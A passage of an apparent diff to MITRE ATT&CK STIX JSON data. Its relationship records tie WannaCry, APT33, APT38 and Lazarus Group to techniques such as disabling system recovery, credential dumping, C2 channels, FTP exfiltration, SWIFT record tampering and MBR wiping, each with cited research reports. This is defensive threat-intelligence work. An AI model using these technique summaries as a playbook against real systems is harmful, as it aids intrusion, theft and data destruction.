"attack-pattern--f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a", + "description": "[WannaCry](https://attack.mitre.org/software/S0366) uses vssadmin, wbadmin, bcdedit, and wmic to delete and disable operating system recovery features.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-02T16:08:50.228Z", + "id": "relationship--76d0be57-e439-4640-b26d-db422353d9e5", + "source_ref": "malware--75ecdbf1-c2bb-4afc-a3f9-c8da4de8c661", + "modified": "2019-04-22T11:43:33.534Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Noerenberg, E., Costis, A., and Quist, N. (2017, May 16). A Technical Analysis of WannaCry Ransomware. Retrieved March 25, 2019.", + "source_name": "LogRhythm WannaCry", + "url": "https://logrhythm.com/blog/a-technical-analysis-of-wannacry-ransomware/" + }, + { + "source_name": "FireEye WannaCry 2017", + "description": "Berry, A., Homan, J., and Eitzman, R. (2017, May 23). WannaCry Malware Profile. Retrieved March 15, 2019.", + "url": "https://www.fireeye.com/blog/threat-research/2017/05/wannacry-malware-profile.html" + }, + { + "source_name": "SecureWorks WannaCry Analysis", + "description": "Counter Threat Unit Research Team. (2017, May 18). WCry Ransomware Analysis. Retrieved March 26, 2019.", + "url": "https://www.secureworks.com/research/wcry-ransomware-analysis" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--20fb2507-d71c-455d-9b6d-6104461cf26b", + "description": "[WannaCry](https://attack.mitre.org/software/S0366) attempts to kill processes associated with Exchange, Microsoft SQL Server, and MySQL to make it possible to encrypt their data stores.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-02T16:20:41.741Z", + "id": "relationship--1427027f-0fd1-4781-b4b3-06dc8e6e9998", + "source_ref": "malware--75ecdbf1-c2bb-4afc-a3f9-c8da4de8c661", + "modified": "2019-04-22T11:43:33.560Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye WannaCry 2017", + "description": "Berry, A., Homan, J., and Eitzman, R. (2017, May 23). WannaCry Malware Profile. Retrieved March 15, 2019.", + "url": "https://www.fireeye.com/blog/threat-research/2017/05/wannacry-malware-profile.html" + }, + { + "source_name": "SecureWorks WannaCry Analysis", + "description": "Counter Threat Unit Research Team. (2017, May 18). WCry Ransomware Analysis. Retrieved March 26, 2019.", + "url": "https://www.secureworks.com/research/wcry-ransomware-analysis" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--5909f20f-3c39-4795-be06-ef1ea40d350b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-08T17:51:42.206Z", + "id": "relationship--e5ab56e2-3f2a-4c47-8b4e-8629c61498ba", + "source_ref": "course-of-action--5d8507c4-603e-4fe1-8a4a-b8241f58734b", + "modified": "2019-07-24T19:09:19.438Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63", + "description": "[APT33](https://attack.mitre.org/groups/G0064) has attempted to exploit a known vulnerability in WinRAR (CVE-2018-20250).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-10T15:21:29.417Z", + "id": "relationship--e948752d-c4a1-4678-97e4-2bd11563115e", + "source_ref": "intrusion-set--fbd29c89-18ba-4c2d-b792-51c0adee049f", + "modified": "2019-06-28T15:05:33.153Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Symantec Elfin Mar 2019", + "description": "Security Response attack Investigation Team. (2019, March 27). Elfin: Relentless Espionage Group Targets Multiple Organizations in Saudi Arabia and U.S.. Retrieved April 10, 2019.", + "url": "https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--f5352566-1a64-49ac-8f7f-97e1d1a03300", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-10T15:21:29.500Z", + "id": "relationship--253ab30c-ec7c-42bc-a27d-984722c59a98", + "source_ref": "intrusion-set--fbd29c89-18ba-4c2d-b792-51c0adee049f", + "modified": "2019-06-28T15:05:33.953Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Symantec Elfin Mar 2019", + "description": "Security Response attack Investigation Team. (2019, March 27). Elfin: Relentless Espionage Group Targets Multiple Organizations in Saudi Arabia and U.S.. Retrieved April 10, 2019.", + "url": "https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--03342581-f790-4f03-ba41-e82e67392e23", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-10T15:21:29.533Z", + "id": "relationship--d22af09f-5536-4416-827c-e401cfae3002", + "source_ref": "intrusion-set--fbd29c89-18ba-4c2d-b792-51c0adee049f", + "modified": "2019-06-28T15:05:33.935Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Symantec Elfin Mar 2019", + "description": "Security Response attack Investigation Team. (2019, March 27). Elfin: Relentless Espionage Group Targets Multiple Organizations in Saudi Arabia and U.S.. Retrieved April 10, 2019.", + "url": "https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--8901ac23-6b50-410c-b0dd-d8174a86f9b3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-10T15:21:29.535Z", + "id": "relationship--4aa63758-5271-471e-8276-909c72f0f70e", + "source_ref": "intrusion-set--fbd29c89-18ba-4c2d-b792-51c0adee049f", + "modified": "2019-06-28T15:05:33.938Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Symantec Elfin Mar 2019", + "description": "Security Response attack Investigation Team. (2019, March 27). Elfin: Relentless Espionage Group Targets Multiple Organizations in Saudi Arabia and U.S.. Retrieved April 10, 2019.", + "url": "https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--cf23bf4a-e003-4116-bbae-1ea6c558d565", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-10T15:21:29.537Z", + "id": "relationship--fca4685f-76c5-4089-b318-8f2ebab802d0", + "source_ref": "intrusion-set--fbd29c89-18ba-4c2d-b792-51c0adee049f", + "modified": "2019-06-28T15:05:34.045Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Symantec Elfin Mar 2019", + "description": "Security Response attack Investigation Team. (2019, March 27). Elfin: Relentless Espionage Group Targets Multiple Organizations in Saudi Arabia and U.S.. Retrieved April 10, 2019.", + "url": "https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-10T15:21:29.540Z", + "id": "relationship--3b056bef-e49e-4611-8c20-23cc14689b74", + "source_ref": "intrusion-set--fbd29c89-18ba-4c2d-b792-51c0adee049f", + "modified": "2019-06-28T15:05:34.041Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Symantec Elfin Mar 2019", + "description": "Security Response attack Investigation Team. (2019, March 27). Elfin: Relentless Espionage Group Targets Multiple Organizations in Saudi Arabia and U.S.. Retrieved April 10, 2019.", + "url": "https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3257eb21-f9a7-4430-8de1-d8b6e288f529", + "description": "[APT33](https://attack.mitre.org/groups/G0064) has used SniffPass to collect credentials by sniffing network traffic.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-10T15:25:18.414Z", + "id": "relationship--b1ca60ac-cef2-467e-843c-5732d8885626", + "source_ref": "intrusion-set--fbd29c89-18ba-4c2d-b792-51c0adee049f", + "modified": "2019-06-28T15:05:33.242Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Symantec Elfin Mar 2019", + "description": "Security Response attack Investigation Team. (2019, March 27). Elfin: Relentless Espionage Group Targets Multiple Organizations in Saudi Arabia and U.S.. Retrieved April 10, 2019.", + "url": "https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "description": "[APT33](https://attack.mitre.org/groups/G0064) has used a variety of publicly available tools like [LaZagne](https://attack.mitre.org/software/S0349), [Mimikatz](https://attack.mitre.org/software/S0002), Gpppassword, SniffPass, and ProcDump to dump credentials.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-10T15:25:18.441Z", + "id": "relationship--5fd13ed0-28df-4131-a653-0fa5a760ff95", + "source_ref": "intrusion-set--fbd29c89-18ba-4c2d-b792-51c0adee049f", + "modified": "2019-06-28T15:05:33.335Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Symantec Elfin Mar 2019", + "description": "Security Response attack Investigation Team. (2019, March 27). Elfin: Relentless Espionage Group Targets Multiple Organizations in Saudi Arabia and U.S.. Retrieved April 10, 2019.", + "url": "https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage" + }, + { + "description": "Ackerman, G., et al. (2018, December 21). OVERRULED: Containing a Potentially Destructive Adversary. Retrieved January 17, 2019.", + "source_name": "FireEye APT33 Guardrail", + "url": "https://www.fireeye.com/blog/threat-research/2018/12/overruled-containing-a-potentially-destructive-adversary.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4", + "description": "[APT33](https://attack.mitre.org/groups/G0064) has used WinRAR to compress data prior to exfil.\t\n", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-10T16:09:07.880Z", + "id": "relationship--1f48a517-c041-4845-9aba-2dce4f559b56", + "source_ref": "intrusion-set--fbd29c89-18ba-4c2d-b792-51c0adee049f", + "modified": "2019-06-28T15:05:33.286Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Symantec Elfin Mar 2019", + "description": "Security Response attack Investigation Team. (2019, March 27). Elfin: Relentless Espionage Group Targets Multiple Organizations in Saudi Arabia and U.S.. Retrieved April 10, 2019.", + "url": "https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[APT33](https://attack.mitre.org/groups/G0064) has downloaded additional files and programs from its C2 server.\t\n", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-10T16:09:07.893Z", + "id": "relationship--a06ada98-605a-47c5-9362-41e86c2ada6e", + "source_ref": "intrusion-set--fbd29c89-18ba-4c2d-b792-51c0adee049f", + "modified": "2019-06-28T15:05:33.412Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Symantec Elfin Mar 2019", + "description": "Security Response attack Investigation Team. (2019, March 27). Elfin: Relentless Espionage Group Targets Multiple Organizations in Saudi Arabia and U.S.. Retrieved April 10, 2019.", + "url": "https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "description": "[APT33](https://attack.mitre.org/groups/G0064) has utilized PowerShell to download files from the C2 server and run various scripts.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-10T16:09:07.895Z", + "id": "relationship--cd69ba48-b716-4278-b1a0-2efd3bd2d4de", + "source_ref": "intrusion-set--fbd29c89-18ba-4c2d-b792-51c0adee049f", + "modified": "2019-06-28T15:05:33.402Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Symantec Elfin Mar 2019", + "description": "Security Response attack Investigation Team. (2019, March 27). Elfin: Relentless Espionage Group Targets Multiple Organizations in Saudi Arabia and U.S.. Retrieved April 10, 2019.", + "url": "https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--b76b2d94-60e4-4107-a903-4a3a7622fb3b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-10T16:16:23.918Z", + "id": "relationship--9d4aa0d4-b460-4320-8c46-2d6ffbe675af", + "source_ref": "intrusion-set--fbd29c89-18ba-4c2d-b792-51c0adee049f", + "modified": "2019-06-28T15:05:34.047Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Symantec Elfin Mar 2019", + "description": "Security Response attack Investigation Team. (2019, March 27). Elfin: Relentless Espionage Group Targets Multiple Organizations in Saudi Arabia and U.S.. Retrieved April 10, 2019.", + "url": "https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--dc27c2ec-c5f9-4228-ba57-d67b590bda93", + "description": "[WannaCry](https://attack.mitre.org/software/S0366) uses attrib +h to make some of its files hidden.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-12T12:52:29.307Z", + "id": "relationship--a802b910-b023-425a-8c09-c1b2df185812", + "source_ref": "malware--75ecdbf1-c2bb-4afc-a3f9-c8da4de8c661", + "modified": "2019-04-22T11:43:33.563Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Noerenberg, E., Costis, A., and Quist, N. (2017, May 16). A Technical Analysis of WannaCry Ransomware. Retrieved March 25, 2019.", + "source_name": "LogRhythm WannaCry", + "url": "https://logrhythm.com/blog/a-technical-analysis-of-wannacry-ransomware/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--ca205a36-c1ad-488b-aa6c-ab34bdd3a36b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-12T14:59:36.634Z", + "id": "relationship--53c8f619-9c69-4db5-839d-bceeb5b9071a", + "source_ref": "course-of-action--337172b1-b003-4034-8a3f-1d89a71da628", + "modified": "2019-07-25T11:37:03.023Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--ca205a36-c1ad-488b-aa6c-ab34bdd3a36b", + "description": "[APT38](https://attack.mitre.org/groups/G0082) has used DYEPACK.FOX to manipulate PDF data as it is accessed to remove traces of fraudulent SWIFT transactions from the data displayed to the end user.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-12T15:20:35.915Z", + "id": "relationship--c51741a8-7c08-4d6e-9d6a-02da7cc8cc83", + "source_ref": "intrusion-set--00f67a77-86a4-4adf-be26-1a54fc713340", + "modified": "2019-09-09T19:10:53.504Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018.", + "source_name": "FireEye APT38 Oct 2018", + "url": "https://content.fireeye.com/apt/rpt-apt38" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--cc1e737c-236c-4e3b-83ba-32039a626ef8", + "description": "[APT38](https://attack.mitre.org/groups/G0082) has used DYEPACK to manipulate SWIFT messages en route to a printer.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-12T15:20:35.931Z", + "id": "relationship--8d94276b-c902-4d7c-ae10-d13e127e5149", + "source_ref": "intrusion-set--00f67a77-86a4-4adf-be26-1a54fc713340", + "modified": "2019-09-09T19:10:53.529Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018.", + "source_name": "FireEye APT38 Oct 2018", + "url": "https://content.fireeye.com/apt/rpt-apt38" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0bf78622-e8d2-41da-a857-731472d61a92", + "description": "[APT38](https://attack.mitre.org/groups/G0082) has used DYEPACK to create, delete, and alter records in databases used for SWIFT transactions.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-12T15:20:35.934Z", + "id": "relationship--d032ba7f-4dee-4a98-b400-86e2eb0ee918", + "source_ref": "intrusion-set--00f67a77-86a4-4adf-be26-1a54fc713340", + "modified": "2019-09-09T19:10:53.567Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018.", + "source_name": "FireEye APT38 Oct 2018", + "url": "https://content.fireeye.com/apt/rpt-apt38" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc", + "description": "[APT33](https://attack.mitre.org/groups/G0064) has deployed a tool known as DarkComet to the Startup folder of a victim.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-12T15:39:21.975Z", + "id": "relationship--d15c3d84-9e21-41ac-9728-f97183b63ec6", + "source_ref": "intrusion-set--fbd29c89-18ba-4c2d-b792-51c0adee049f", + "modified": "2019-06-28T15:05:33.560Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Symantec Elfin Mar 2019", + "description": "Security Response attack Investigation Team. (2019, March 27). Elfin: Relentless Espionage Group Targets Multiple Organizations in Saudi Arabia and U.S.. Retrieved April 10, 2019.", + "url": "https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[APT33](https://attack.mitre.org/groups/G0064) has used HTTP for command and control.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-12T15:39:21.999Z", + "id": "relationship--bf7102db-9b22-4534-ac52-83d95152c242", + "source_ref": "intrusion-set--fbd29c89-18ba-4c2d-b792-51c0adee049f", + "modified": "2019-06-28T15:05:33.550Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Symantec Elfin Mar 2019", + "description": "Security Response attack Investigation Team. (2019, March 27). Elfin: Relentless Espionage Group Targets Multiple Organizations in Saudi Arabia and U.S.. Retrieved April 10, 2019.", + "url": "https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--a19e86f8-1c0a-4fea-8407-23b73d615776", + "description": "[APT33](https://attack.mitre.org/groups/G0064) has used FTP to exfiltrate files (separately from the C2 channel).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-12T15:39:22.004Z", + "id": "relationship--a501c3c3-66f7-4128-bf47-b6bf816d5411", + "source_ref": "intrusion-set--fbd29c89-18ba-4c2d-b792-51c0adee049f", + "modified": "2019-06-28T15:05:33.393Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Symantec Elfin Mar 2019", + "description": "Security Response attack Investigation Team. (2019, March 27). Elfin: Relentless Espionage Group Targets Multiple Organizations in Saudi Arabia and U.S.. Retrieved April 10, 2019.", + "url": "https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c848fcf7-6b62-4bde-8216-b6c157d48da0", + "description": "[APT33](https://attack.mitre.org/groups/G0064) has used ports 808 and 880 for command and control.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-12T15:39:22.013Z", + "id": "relationship--561e83db-538a-415b-8a7a-08e0009135f0", + "source_ref": "intrusion-set--fbd29c89-18ba-4c2d-b792-51c0adee049f", + "modified": "2019-06-28T15:05:33.578Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Symantec Elfin Mar 2019", + "description": "Security Response attack Investigation Team. (2019, March 27). Elfin: Relentless Espionage Group Targets Multiple Organizations in Saudi Arabia and U.S.. Retrieved April 10, 2019.", + "url": "https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "description": "[APT33](https://attack.mitre.org/groups/G0064) has created a scheduled task to execute a .vbe file multiple times a day.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-12T15:39:22.027Z", + "id": "relationship--9a380085-30dd-4a57-bd52-f85acd584e43", + "source_ref": "intrusion-set--fbd29c89-18ba-4c2d-b792-51c0adee049f", + "modified": "2019-06-28T15:05:33.408Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Symantec Elfin Mar 2019", + "description": "Security Response attack Investigation Team. (2019, March 27). Elfin: Relentless Espionage Group Targets Multiple Organizations in Saudi Arabia and U.S.. Retrieved April 10, 2019.", + "url": "https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--2e114e45-2c50-404c-804a-3af9564d240e", + "description": "[APT38](https://attack.mitre.org/groups/G0082) has used a custom MBR wiper named BOOTWRECK to render systems inoperable.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-12T15:55:48.091Z", + "id": "relationship--95f54d2e-cfa0-4afc-a5f4-9da7da55242a", + "source_ref": "intrusion-set--00f67a77-86a4-4adf-be26-1a54fc713340", + "modified": "2019-09-09T19:10:53.562Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018.", + "source_name": "FireEye APT38 Oct 2018", + "url": "https://content.fireeye.com/apt/rpt-apt38" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0", + "description": "[APT38](https://attack.mitre.org/groups/G0082) has used Hermes ransomware to encrypt files with AES256.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-12T15:55:48.135Z", + "id": "relationship--02e23a00-846a-4b86-9146-4a7354c23667", + "source_ref": "intrusion-set--00f67a77-86a4-4adf-be26-1a54fc713340", + "modified": "2019-09-09T19:10:53.564Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018.", + "source_name": "FireEye APT38 Oct 2018", + "url": "https://content.fireeye.com/apt/rpt-apt38" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c", + "description": "[APT38](https://attack.mitre.org/groups/G0082) has used a custom secure delete function to make deleted files unrecoverable.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-12T15:55:48.141Z", + "id": "relationship--77cd972c-459f-4cac-ae21-3cc1a96df09e", + "source_ref": "intrusion-set--00f67a77-86a4-4adf-be26-1a54fc713340", + "modified": "2019-09-09T19:10:53.572Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018.", + "source_name": "FireEye APT38 Oct 2018", + "url": "https://content.fireeye.com/apt/rpt-apt38" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--20fb2507-d71c-455d-9b6d-6104461cf26b", + "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) has stopped the MSExchangeIS service to render Exchange contents inaccessible to users.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-12T16:59:08.010Z", + "id": "relationship--411aae3a-f612-41bb-b2f0-1639d2cbc290", + "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", + "modified": "2019-09-09T19:15:45.657Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Novetta Blockbuster Destructive Malware", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Destructive Malware Report. Retrieved March 2, 2016.", + "url": "https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--2e114e45-2c50-404c-804a-3af9564d240e", + "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) malware SHARPKNOT overwrites and deletes the Master Boot Record (MBR) on the victim's machine and has possessed MBR wiper malware since at least 2009.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-12T16:59:08.040Z", + "id": "relationship--b00c9e09-d98f-40b4-bc4e-0c3e9fe873e1", + "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", + "modified": "2019-09-09T19:15:45.695Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "US-CERT SHARPKNOT June 2018", + "description": "US-CERT. (2018, March 09). Malware Analysis Report (MAR) - 10135536.11.WHITE. Retrieved June 13, 2018.", + "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536.11.WHITE.pdf" + }, + { + "source_name": "Novetta Blockbuster", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.", + "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b82f7d37-b826-4ec9-9391-8e121c78aed7", + "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) has used malware like WhiskeyAlfa to overwrite the first 64MB of every drive with a mix of static and random buffers. A similar process is then used to wipe content in logical drives and, finally, attempt to wipe every byte of every sector on every drive. WhiskeyBravo can be used to overwrite the first 4.9MB of physical drives. WhiskeyDelta can overwrite the first 132MB or 1.5MB of each drive with random data from heap memory.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-12T16:59:08.044Z", + "id": "relationship--78ca7fcf-95b9-485c-a87b-2ac083312885", + "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", + "modified": "2019-09-09T19:15:45.665Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Novetta Blockbuster Destructive Malware", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: 